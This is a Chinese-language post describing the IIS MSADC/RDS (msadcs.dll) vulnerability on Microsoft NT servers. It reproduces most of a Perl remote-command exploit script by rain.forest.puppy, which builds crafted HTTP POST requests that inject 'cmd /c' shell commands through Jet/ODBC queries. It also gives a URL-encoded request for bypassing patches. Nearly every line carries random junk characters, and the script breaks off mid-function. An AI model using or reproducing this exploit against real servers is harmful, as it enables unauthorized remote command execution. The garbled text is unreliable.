IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
4HpKKhv" @aP1[( m 涉及程序:
:%h|i&B
Microsoft NT server
e@1A_q@. A1*\ \[ 描述:
HM#|&_gV 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0Bk-)z|V viJP6fh 详细:
i.^:xZ 如果你没有时间读详细内容的话,就删除:
S%e)br} c:\Program Files\Common Files\System\Msadc\msadcs.dll
1B@7#ozWA? 有关的安全问题就没有了。
?I u=os>* ff]fN:}V 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
r[wjE`Z/T 4(,M&NC
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
xW7[ VTXc^ 关于利用ODBC远程漏洞的描述,请参看:
[c
XSk j<k-w http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [
P,gEYk y#= j{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
FV{XPr%
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "ji+~%`^[t L#%)@ 这里不再论述。
q7I!wD9Cff 7GCxd#DJ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
rM?
J40&. M@Ti$= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
v57<b&p26 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
F3tIJz>3 Qkw?QV-`k RRQIlI< #将下面这段保存为txt文件,然后: "perl -x 文件名"
nTD4^' 57q?:M=^ #!perl
8c>xgFWp9 #
C;%dZ # MSADC/RDS 'usage' (aka exploit) script
S~R[*Gk_uT #
7-0j8$` # by rain.forest.puppy
g+7j?vC{' #
z`p9vlS[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
~z,qr09 # beta test and find errors!
q,> C^p|2b Hv2[=e lc use Socket; use Getopt::Std;
cc8Q} getopts("e:vd:h:XR", \%args);
$<"I*l@ 0M?zotv0# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
yE~D0%Umq saDu'SmYV if (!defined $args{h} && !defined $args{R}) {
~=I:go print qq~
y0p\Gu;3j Usage: msadc.pl -h <host> { -d <delay> -X -v }
a!f71k
r -h <host> = host you want to scan (ip or domain)
%xKZ"#Z#K -d <seconds> = delay between calls, default 1 second
.gM6m8l9wp -X = dump Index Server path table, if available
7u
rD -v = verbose
itg"dGDk -e = external dictionary file for step 5
C XNYWx -wf>N: Or a -R will resume a command session
MTq/ 8n:N#4Dh^ ~; exit;}
0JKTwLhC i52JY&N $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jfVw{\l if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
sk*vmxClY if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
73nM9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`sgW0Uf $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
nwzyL`kF if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
))nTd= oKH+Q6S: if (!defined $args{R}){ $ret = &has_msadc;
&C)97E die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
gGN6Yqj0 LDYa{w-t print "Please type the NT commandline you want to run (cmd /c assumed):\n"
H/Rzs$pnv . "cmd /c ";
z: $in=<STDIN>; chomp $in;
OmK4
\_. $command="cmd /c " . $in ;
D6"d\Fm< t<j_` %`8 if (defined $args{R}) {&load; exit;}
L}'^FqO[IW P]OUzI, print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
KXpbee &try_btcustmr;
o,S(;6pDJ %$'fq*8b print "\nStep 2: Trying to make our own DSN...";
0F.S[!I &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<@lj\, 6L)7Q0Z print "\nStep 3: Trying known DSNs...";
H/.UDz &known_dsn;
k8l7.e* -F 9xPw print "\nStep 4: Trying known .mdbs...";
F/[m.!Eo &known_mdb;
7 toIbC# Rg+#(y if (defined $args{e}){
5:#|Op N print "\nStep 5: Trying dictionary of DSN names...";
9MQjSNYzo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{+[Ex2b$ j(}pUV B print "Sorry Charley...maybe next time?\n";
~Nf|,{[(5 exit;
Mz+vT0 )vpYVr- ##############################################################################
wQ~]VVRN rq Uk_|Xa sub sendraw { # ripped and modded from whisker
/0$405 sleep($delay); # it's a DoS on the server! At least on mine...
8TK*VOf` my ($pstr)=@_;
gv D*^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kP5G}Bp die("Socket problems\n");
nLC5FA7< if(connect(S,pack "SnA4x8",2,80,$target)){
c=QN!n:
select(S); $|=1;
-@Urq>^v T print $pstr; my @in=<S>;
Qpj[]c5 select(STDOUT); close(S);
ReL+V return @in;
*B84Y.d f } else { die("Can't connect...\n"); }}
M*C1QQf\N Q04
`+Vr ##############################################################################
qJ<l$Ig wp5H|ctl sub make_header { # make the HTTP request
dV16' my $msadc=<<EOT
.p?SPR POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qQ6@43TC User-Agent: ACTIVEDATA
-yTIv*y Host: $ip
4i5b.bU$ Content-Length: $clen
|sl^4'Ghc Connection: Keep-Alive
3+vVdvu% rvK%m_r ADCClientVersion:01.06
8j :=D!S Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9\T9pjdZE 2-Wy@\ --!ADM!ROX!YOUR!WORLD!
>oaL -01i Content-Type: application/x-varg
o^MoU2c Content-Length: $reqlen
ZU;jz[} zSu,S4m_; EOT
wXKt)3dm u ; $msadc=~s/\n/\r\n/g;
TJ_6:;4,|_ return $msadc;}
Zb|a\z8 ? Mn<s9ITS- ##############################################################################
@`8a3sL) LR\8M(rtvH sub make_req { # make the RDS request
pd& HC my ($switch, $p1, $p2)=@_;
R@/"B?`(f my $req=""; my $t1, $t2, $query, $dsn;
>3&V"^r(| e&Q
w\Ze if ($switch==1){ # this is the btcustmr.mdb query
WwWCNN~} $query="Select * from Customers where City=" . make_shell();
#6l(2d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O6ugN-d> $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
M%W#0 7s!rer> elsif ($switch==2){ # this is general make table query
AT1{D!b $query="create table AZZ (B int, C varchar(10))";
;:+2.// $dsn="$p1";}
0PsQ
1[1 DyA/!%g elsif ($switch==3){ # this is general exploit table query
]mUt[Yy:z $query="select * from AZZ where C=" . make_shell();
fny6`_O $dsn="$p1";}
M)AvcZNs h@\HPYi#. elsif ($switch==4){ # attempt to hork file info from index server
b!`Ze~V $query="select path from scope()";
U~t!
$dsn="Provider=MSIDXS;";}
]VE3u_kR o~q.j_Sa elsif ($switch==5){ # bad query
s.n:;8RibP $query="select";
qDz[=6BF $dsn="$p1";}
ir>+p>s. |F<%gJ $t1= make_unicode($query);
vts" $t2= make_unicode($dsn);
c': 4e) $req = "\x02\x00\x03\x00";
1<MJ3"60 $req.= "\x08\x00" . pack ("S1", length($t1));
}gB^C3b6 $req.= "\x00\x00" . $t1 ;
;ceg:-Zqo $req.= "\x08\x00" . pack ("S1", length($t2));
ccp9nXv $req.= "\x00\x00" . $t2 ;
$J,$_O6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
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